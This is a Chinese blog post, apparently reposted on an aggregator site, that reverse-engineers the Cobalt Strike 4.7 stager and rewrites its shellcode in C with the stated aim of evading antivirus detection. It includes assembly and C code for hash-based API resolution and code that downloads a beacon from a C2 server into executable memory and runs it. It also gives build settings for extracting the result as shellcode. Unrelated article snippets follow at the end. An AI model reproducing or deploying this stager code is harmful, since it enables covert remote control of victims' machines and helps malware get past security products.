关于CS 4.7 Stager 逆向及 Shellcode 重写

1. 概述

一直很想有一个自己的控,奈何实力不允许,CS 仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用 go 重写了 CS 的 beacon,感觉这个思路很好,但是 go 编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用 C 去重写一个,不过 beacon 的功能很多,短时间去重写有点费劲,所以想先重写 CS 的 stager 部分,并能转化成 shellcode 通过加载器进行加载。CS 4.7出来有段时间了,本文尝试对 CS 的 stager 进行逆向,并尝试用 C 重写 stager 的 shellcode 。

2. 样本信息

样本名:artifact.exe (通过CS的Windows Stager Payload生成的64位exe)
在这里插入图片描述在这里插入图片描述

3. Stager 逆向

CS 生成的 exe 格式的 stager 本质上就是一个 shellcode 加载器,真正实现 stager 的拉取 beacon 功能的是其中的 shellcode 部分,因为加载器我们可以通过很多方式去实现,且4.7版本的 stager 加载流程并没有较大变化,所以对 stager 的加载部分只做简单的分析。

3.1 Shellcode加载部分:

进入主函数,直接进 sub_4017F8 函数看它的功能实现:
在这里插入图片描述

进入 sub_4017F8 函数,先获取系统时间戳,然后创建线程通过管道读取 shellcode 并执行:
在这里插入图片描述

拼接的管道名:\.\pipe\MSSE-3410-server:
在这里插入图片描述

跟进 CreateThread 中的线程执行函数:
在这里插入图片描述

跟进 WriteShellcodeToPipe_401630,创建管道并循环写入 shellcode:

在这里插入图片描述

shellcode 内容如下:
在这里插入图片描述

写入 shellcode:
在这里插入图片描述

跟进 ShellcodeExec_4017A6 函数,该函数实现从管道接收 shellcode 并解密执行:
在这里插入图片描述

从管道中读取 shellcode 到内存:

在这里插入图片描述

将读取到的 shellcode 在 DecryptAndExecShellcode_401595 函数中解密执行:
在这里插入图片描述

解密后的 shellcode 可以通过 CreateThread 的传参找到,起始地址保存在 R9 寄存器中:
在这里插入图片描述

3.2 Shellcode执行部分:

Shellcode 是一段地址无关代码,不能直接调用 Win32Api,CS 的 shellcode 是通过遍历 PEB 结构和 PE 文件导出表并根据导出函数的 hash 值查找需要的模块和 API 函数:

3.2.1 遍历PEB获取Win32API

遍历PEB:
在这里插入图片描述

计算模块哈希:
在这里插入图片描述

查找导出函数:
在这里插入图片描述

该部分的完整汇编如下:

| mov rdx,qword ptr gs:[rdx+60] | 查找PEB
| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表
| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表
| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器
| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器(unicode)
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入模块名称
| cmp al,61 | 判断大小写
| jl A0037 | 大写则跳转
| sub al,20 | 如果是小写就转换为大写
| ror r9d,D | ROR13加密计算
| add r9d,eax | 将计算得到的hash值存入R9寄存器
| loop A002D | 循环计算
| push rdx |
| push r9 |
| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址
| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移(PE标识)
| add rax,rdx | rax指向PE标识
| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B(PE32+)
| jne A00C7 |
| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器
| test rax,rax |
| je A00C7 |
| add rax,rdx | 模块基址+导出表RVA=导出表VA
| push rax |
| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器
| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器
| add r8,rdx | 导出函数的起始VA
| jrcxz A00C6 |
| dec rcx |
| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA
| add rsi,rdx | 当前导出函数的VA
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入导出函数名
| ror r9d,D | ROR13加密运算
| add r9d,eax | 计算的hash存入R9
| cmp al,ah | 字符串最后一位为0,此时al、ah均为0,循环结束
| jne A007D | 不为0,继续运算
| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和
| cmp r9d,r10d | 运算结果与要查找的函数hash(R10)进行比较
| jne A006E | 没找到则跳回去继续找
| pop rax |
之后会不断循环上面的代码通过hash依次查找以下Api函数:

0x0726774C => LoadLibraryA
0xA779563A => InternetOpenA
0xC69F8957 => InternetConnectA
0x3B2E55EB => HttpOpenRequestA
0x7B18062D => HttpSendRequestA
0xE553A458 => VirtualAlloc
0xE2899612 => InternetReadFile
3.2.2 请求C2服务器建立连接
调用 LoadLibraryA 加载 wininet.dll:

在这里插入图片描述

调用 InternetOpenA 进行初始化:
在这里插入图片描述

调用 InternetConnectA 与控制端建立 http 会话:
在这里插入图片描述

调用 HttpOpenRequestA 创建 http 请求:
在这里插入图片描述

调用 HttpSendRequestA 将指定请求发送到服务器:
在这里插入图片描述

3.2.3 获取Beacon加载上线
调用 VirtualAlloc 为 beacon 分配内存:
在这里插入图片描述

循环调用 InternetReadFile 将 beacon 读取到分配的内存:

在这里插入图片描述

跳转,进入 beacon 的内存空间:
在这里插入图片描述

之后,beacon 会解密自身,通过反射式DLL注入执行上线,不在本篇范围,故不赘述。

4. C 重写 Shellcode

通过前面的内容我们已经了解了 CS 的 stager 的基本功能,其中 shellcode 部分通过调用 wininet.dll 中的相关 API 函数向 C2 服务器发起 http 请求并建立连接,远程读取 beacon 的内容并为其分配内存后跳转执行,在 C 里面,我们只需要调用相同的 API 函数即可实现相同的功能。

然而,我们的目的是希望用 C 编写出来的代码可以转化为 shellcode,这样既可以保留 shellcode 灵活加载的优势,也可以通过编写 C 代码自由地控制 shellcode(汇编大佬勿cue)。因为 shellcode 是一段地址无关代码,我们不能像编译一个可执行文件那样直接调用 Windows API,这就是为什么 CS 的 shellcode 会有一段代码通过遍历 PEB 和导出表来获取所需的 Windows API 函数。

理清了思路,剩下的就是写代码了,下面给出关键代码。

4.1 Shellcode的代码实现
4.1.1 遍历PEB获取Win32API
这个部分已经有很多代码实例了,直接拿来 include 就可以:

#include <windows.h>
#include <winternl.h>

// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))

// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

HMODULE GetProcAddressWithHash( In DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;

#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
// necessary to get the PEB.Ldr address
PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit( 0x00006B1B );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif

pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;

while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;

// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}

// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);

dwModuleHash = ROTR32( dwModuleHash, 13 );

if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}

pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);

dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);

for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;

pTempChar = pFunctionName;

do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += pTempChar;
pTempChar++;
} while (
(pTempChar - 1) != 0);

dwFunctionHash += dwModuleHash;

if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}

// All modules have been exhausted and the function was not found.
return NULL;
}
在引用了以上代码后,我们还需要定义我们所需的 API 函数,这里我们尝试使用其它 API 进行测试:

typedef HMODULE(WINAPI* FN_LoadLibraryA)(
In LPCSTR lpLibFileName
);

typedef LPVOID(WINAPI* FN_VirtualAlloc)(
In_opt LPVOID lpAddress,
In SIZE_T dwSize,
In DWORD flAllocationType,
In DWORD flProtect
);

typedef LPVOID(WINAPI* FN_InternetOpenA)(
In LPCSTR lpszAgent,
In DWORD dwAccessType,
In LPCSTR lpszProxy,
In LPCSTR lpszProxyBypass,
In DWORD dwFlags
);

typedef HANDLE(WINAPI* FN_InternetOpenUrlA)(
In LPVOID hInternet,
In LPCSTR lpszUrl,
In LPCSTR lpszHeaders,
In DWORD dwHeadersLength,
In DWORD dwFlags,
In DWORD_PTR dwContext
);

typedef BOOL(WINAPI* FN_InternetReadFile)(
In LPVOID hFile,
Out LPVOID lpBuffer,
In DWORD dwNumberOfBytesToRead,
Out LPDWORD lpdwNumberOfBytesRead
);

typedef struct tagApiInterface {
FN_LoadLibraryA pfnLoadLibrary;
FN_VirtualAlloc pfnVirtualAlloc;
FN_InternetOpenA pfnInternetOpenA;
FN_InternetOpenUrlA pfnInternetOpenUrlA;
FN_InternetReadFile pfnInternetReadFile;
}APIINTERFACE, * PAPIINTERFACE;
现在我们已经有了定义好的函数和 GetProcAddressWithHash 函数,接下来只需要通过 hash 寻找我们需要的函数即可:

#pragma warning( push )
#pragma warning( disable : 4055 )
ai.pfnLoadLibrary = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
ai.pfnLoadLibrary(szWininet);
ai.pfnLoadLibrary(szUser32);

ai.pfnVirtualAlloc      = (FN_VirtualAlloc)GetProcAddressWithHash(0xE553A458);
ai.pfnInternetOpenA     = (FN_InternetOpenA)GetProcAddressWithHash(0xA779563A);
ai.pfnInternetOpenUrlA  = (FN_InternetOpenUrlA)GetProcAddressWithHash(0xF07A8777);
ai.pfnInternetReadFile  = (FN_InternetReadFile)GetProcAddressWithHash(0xE2899612);

#pragma warning( pop )
4.1.2 建立连接接收Beacon
LPVOID hInternet = ai.pfnInternetOpenA(0, 0, NULL, 0, NULL);
HANDLE hInternetOpenUrl = ai.pfnInternetOpenUrlA(hInternet, HttpURL, NULL, 0, 0x80000000, 0);
LPVOID addr = ai.pfnVirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

recv_tmp = 1;
recv_tot = 0;
beacon_index = addr;

while (recv_tmp > 0) {
ai.pfnInternetReadFile(hInternetOpenUrl, beacon_index, 8192, (PDWORD)&recv_tmp);
recv_tot += recv_tmp;
beacon_index += recv_tmp;
}

((void(*)())addr)();
4.1.3 64位下的代码调整
为了保证我们的 shellcode 在64位上以正确的堆栈对齐方式达到其入口点,我们需要编写一个保证对齐的 asm 存根,并将其生成的对象文件作为链接器的附加依赖项:

EXTRN ExecutePayload:PROC
PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.

_TEXT SEGMENT

; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can’t be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.

AlignRSP PROC
push rsi ; Preserve RSI since we’re stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
AlignRSP ENDP

_TEXT ENDS

END
我们还需要一个头文件帮助我们调用上面的汇编函数:

#if defined(_WIN64)
extern VOID AlignRSP( VOID );

VOID Begin( VOID )
{
// Call the ASM stub that will guarantee 16-byte stack alignment.
// The stub will then call the ExecutePayload.
AlignRSP();
}
#endif
4.1.4 其它坑点
(1)传入一些字符串参数时需要使用字符数组的形式;

(2)传入的字符串不能过长,太长的话会被编译器分配到别的区段导致提取的 shellcode 找不到其地址;

(3)如果 CS 使用默认的 profile,注意 URL 应满足 CS 的检查要求(checksum8);

4.2 修改VSStudio配置
在写好代码后,为了从我们编译生成的 exe 文件中提取出可以使用的 shellcode,我们还需要修改 VS 的部分配置选项:

编译器:

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

链接器:

/LTCG “x64\Release\AdjustStack.obj” /ENTRY:“Begin” /OPT:REF /SAFESEH:NO

/SUBSYSTEM:CONSOLE /MAP /ORDER:@“function_link_order64.txt” /OPT:ICF /NOLOGO

/NODEFAULTLIB

其中 AdjustStack.obj 是我们上面提到的对象文件,function_link_order64.txt 是我们指定的链接顺序,其内容如下:

Begin // 入口函数
GetProcAddressWithHash
ExecutePayload // shellcode 功能函数
4.3 提取shellcode上线
配置好相关选项后,构建项目生成 exe,然后提取 .text 段就可以拿到我们的 shellcode 了:
在这里插入图片描述

使用一个简单的加载器进行测试,可成功上线:

在这里插入图片描述

  1. 参考链接
    https://bbs.kanxue.com/thread-264470.htm#msg_header_h2_0

https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/86162.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LVS-NAT模式

LVS负载均衡群集 群集的定义 Cluster&#xff0c;集群&#xff08;也称群集&#xff09;由多台主机构成&#xff0c;但对外只表现为一一个整体&#xff0c;只提供一-个访问入口(域名或IP地址)&#xff0c; 相当于一台大型计算机。 群集的作用 对于企业服务的的性能提升一般…

测试网页调用本地可执行程序(续:带参数调用)

前篇文章介绍了网页调用本地可执行程序的方式&#xff0c;通过在注册表中注册命令&#xff0c;然后在网页中调用命令启动本地程序。如果需要传递参数&#xff0c;则需要在注册表命令中的command项中设置如下形式的值。 "XXXXXX\XXXXXXX.exe" "%1"&emsp…

【python】Seaborn画热力图,只显示第一行数字---seaborn与matplotlib版本问题

github上有这个讨论&#xff1a;Heatmap only has annotation text in the top row only Issue #3478 mwaskom/seaborn (github.com)翻译过来就是&#xff1a;热图仅在最上面一行有注释文本&#xff1b; 原因就是matplotlib 在2023年9月更新到了 3.8.0版本&#xff0c;改变了…

FPGA project : HCSR04

犯下的错误&#xff1a; 1&#xff0c;由于使用cnt_base 做echo回响信号高电平时间的测量&#xff0c;它的数据应该很大&#xff0c;位宽也很大。也可以采用cnt_us计数器&#xff0c;计算这个高电平时间的。我为了精确计算距离&#xff0c;所以才仍然用的cnt_base计数器。 2&…

什么算泄露公司机密的行为(什么程度算公司泄密行为)

在当今的商业环境中&#xff0c;保护公司的核心竞争力和商业机密是至关重要的。然而&#xff0c;员工可能出于各种原因泄露这些信息&#xff0c;包括对竞争对手的追求、个人利益的驱动或者对工作的不满。在这种情况下&#xff0c;企业需要依赖专业的调查工具来揭示和证明员工的…

【Cpp】位图Bitmap

code #include <iostream> #include <vector> #include <stdio.h> #include <stdint.h>class Bitmap { private:std::vector<uint8_t> data; // 存储位图数据的字节数组uint32_t size; // 位图的大小&#xff08;以位为单位&#x…

Vue路由及Node.js环境搭建

目录 一、Vue路由 1.1 定义 1.2 应用领域 1.3 代码展示 二、Node.js 2.1 定义 2.2 特点 2.3 Node.js安装与配置 2.3.1 下载安装包 2.3.2 手动新建文件夹 2.3.3 注意事项 2.3.4 配置环境变量 2.3.5 检验是否安装配置成功 2.3.6 设置淘宝源 2.3.7 查看全局路径设置…

通用返回结果类ResultVO

1. 定义通用返回结果类 ​ 定义ResultVO类&#xff0c;作返回给前端的对象结构&#xff0c;主要有4个字段 code : 错误码 data : 内容message : 消息description : 具体描述 import lombok.Data; import java.io.Serializable;/*** 通用返回结果类* param <T>*/ Data …

史上最详细的测试用例写作规范

软件测试用例得出软件测试用例的内容&#xff0c;其次&#xff0c;按照软件测试写作方法&#xff0c;落实到文档中&#xff0c;两者是形式和内容的关系&#xff0c;好的测试用例不仅方便自己和别人查看&#xff0c;而且能帮助设计的时候考虑的更周。 一个好的测试用例必须包含…

Tessy 5.0.4

Tessy 5.0.4 Linux 2692407267qq.com&#xff0c;更多内容请见http://user.qzone.qq.com/2692407267/

论文研读-数据共享-大数据流分析中的共享执行技术

Shared Execution Techniques for Business Data Analytics over Big Data Streams 大数据流分析中的共享执行技术 1、摘要 2020年的一篇共享工作的论文&#xff1a;商业数据分析需要处理大量数据流&#xff0c;并创建物化视图以便给用户实时提供分析结果。物化每个查询&#x…

Centos7安装wps无法打开及字体缺失的问题解决

在centos7上安装了最新的wps2019版本的wps-office-11.1.0.11704-1.x86_64.rpm&#xff0c;生成了桌面图标并信任&#xff0c;可以新建文件&#xff0c;但是软件无法打开。在终端执行如下命令&#xff0c;用命令行启动wps&#xff1a; cd /opt/kingsoft/wps-office/office6/ ./…

Learn Prompt- Midjourney 图片生成:基本设置和预设

/settings指令为模型版本、样式值、质量值和升级器版本等常用选项提供切换按钮。 备注 添加到提示末尾的参数将覆盖/settings中的设置。 模型版本​ 1️⃣ MJ Version 12️⃣ MJ Version 23️⃣ MJ Version 34️⃣ MJ Version 45️⃣ MJ Version 5&#x1f308; Niji Mode&a…

zerotier-client

title: “zerotier-client” createTime: 2022-10-10T11:50:5108:00 updateTime: 2022-10-10T11:50:5108:00 draft: false author: “zcb” tags: [“zerotier-plant”,“zerotier-client”,“zerotier”] categories: [“zerotier”] description: “测试的” 1.windows 1.1…

存储管理详解

目录 存储管理&#xff08;1&#xff09; 第一节 存储管理概述&#xff08;内存管理&#xff09; 一、存储体系 二、存储管理的任务 三、地址转换 存储管理&#xff08;2&#xff09; 第二节 分区管理方案 一、固定分区 二、可变分区 三、分区管理方案的优缺点 第…

人类的态势感知可分为先验、似然、后验的三部分

人类的态势感知可以分为先验、似然和后验三个部分。这些部分描述了在不同阶段对环境的感知和理解。先验感知&#xff1a;先验感知基于先前的知识、经验和先验信息来理解环境。它利用已有的知识和模型&#xff0c;进行预测和推断&#xff0c;从而形成对当前环境的初步认知。先验…

Qt5开发及实例V2.0-第二十一章-Qt.Quick Controls开发基础

Qt5开发及实例V2.0-第二十一章-Qt.Quick Controls开发基础 第21章 Qt Quick Controls开发基础21.1 Qt Quick Controls概述21.1.1 第一个Qt Quick Controls程序21.1.2 Qt Quick窗体应用程序的构成 21.2 Qt Quick控件21.2.1 概述21.2.2 基本控件21.2.3 高级控件21.2.4 样式定制 2…

通过插件去除Kotlin混淆去除 @Metadata标记

在Kotlin中&#xff0c;Metadata是指描述Kotlin类的元数据。它包含了关于类的属性、函数、注解和其他信息的描述。Metadata的作用主要有以下几个方面&#xff1a; 反射&#xff1a;Metadata可以用于在运行时获取类的信息&#xff0c;包括类的名称、属性、函数等。通过反射&…

Spring面试题5:面试官:为什么说Spring是一个容器?如何给Spring容器提供配置元数据?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:为什么说Spring是一个容器? Spring被称为一个容器,是因为它提供了一个运行环境和管理机制,用于管理应用程序中的对象的生命周期和依赖关系。 …

多维时序 | MATLAB实现WOA-CNN-LSTM-Attention多变量时间序列预测(SE注意力机制)

多维时序 | MATLAB实现WOA-CNN-LSTM-Attention多变量时间序列预测&#xff08;SE注意力机制&#xff09; 目录 多维时序 | MATLAB实现WOA-CNN-LSTM-Attention多变量时间序列预测&#xff08;SE注意力机制&#xff09;预测效果基本描述模型描述程序设计参考资料 预测效果 基本描…